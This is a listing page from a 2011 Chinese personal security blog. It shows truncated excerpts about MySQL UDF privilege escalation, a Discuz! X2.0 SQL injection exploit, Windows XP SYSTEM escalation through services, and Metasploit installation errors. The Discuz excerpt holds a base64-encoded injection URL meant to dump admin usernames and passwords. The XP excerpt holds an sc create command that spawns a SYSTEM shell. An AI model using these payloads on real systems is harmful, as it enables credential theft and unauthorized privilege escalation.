王健宇's BLOG

关于MySQL出现Can't open shared library 'udf.dll'错误提示的研究

2011-7-2 王健宇 转载

UDF - User Defined Function 用户自定义函数 。

mysql中支持UDF扩展 ，使得我们可以调用DLL里面的函数来实现一些特殊的功能。
但是对于UDF的具体限制，MYSQL的各个版本各有不同。 下面记录一下：

听说（只是听说，没做测试），在MYSQL 4.1以前的版本中，可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。
无论这个DLL...

阅读全文>>

标签: UDF提权 mysql5.1提权

评论(4) 浏览(7473)

没希望工程--转自韩寒博客

2011-7-1 王健宇 转载

       中国的慈善机构是很淡定的，因为他们都是政府机构，事态再失控，他们都不害怕。

 

       他们知道，他们拥有最后一道防线：舆论消灭权。

       在这些慈善机构们到了最危险的时候，肯定有个部门会...

阅读全文>>

标签: 没希望工程

评论(1) 浏览(3718)

Discuz! X2.0 SQL注入漏洞 EXP

2011-6-30 王健宇 转载

DZ2.0直接暴管理账号密码（默认前缀的情况下）

http://xxx/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd29yZCkgZnJvbSBwcmVfY29t...

阅读全文>>

标签: Discuz! X2.0 0day DZ2.0 0day Discuz! X2.0 exp DZ2.0 exp

评论(2) 浏览(8651)

关于最近出的xp本地system提权脚本研究

2011-6-22 王健宇

在看到这个脚本以后便明白了，其实这也算不上什么0day，只是利用任务计划而已。

同样我们还可以利用其他方式来提升到system权限，如：系统启动服务项也是system权限，按某些快捷键启动的也是system权限。

如代码：

sc Create xiaoyu binPath= "cmd /c start cmd" type= own type= interact start= auto

net...

阅读全文>>

标签: xp本地system提权脚本 系统服务提权

评论(7) 浏览(4983)

在Windows上安装Metasploit Framework 3.7.1出现问题及解决方法

2011-6-17 王健宇 转载

今天尝试安装了一下Metasploit Framework 3.7.1，在装有Windows系统上尝试安装，总是会报错：

There has been an error. …… ALTER USER postgres PASSWORD ‘XXXXXXX’

经搜索后得知解决方法，这里转载并总结一下：

MSF安装...

阅读全文>>

标签: postgresql安装出错 Metasploit3.7安装出错

评论(2) 浏览(4162)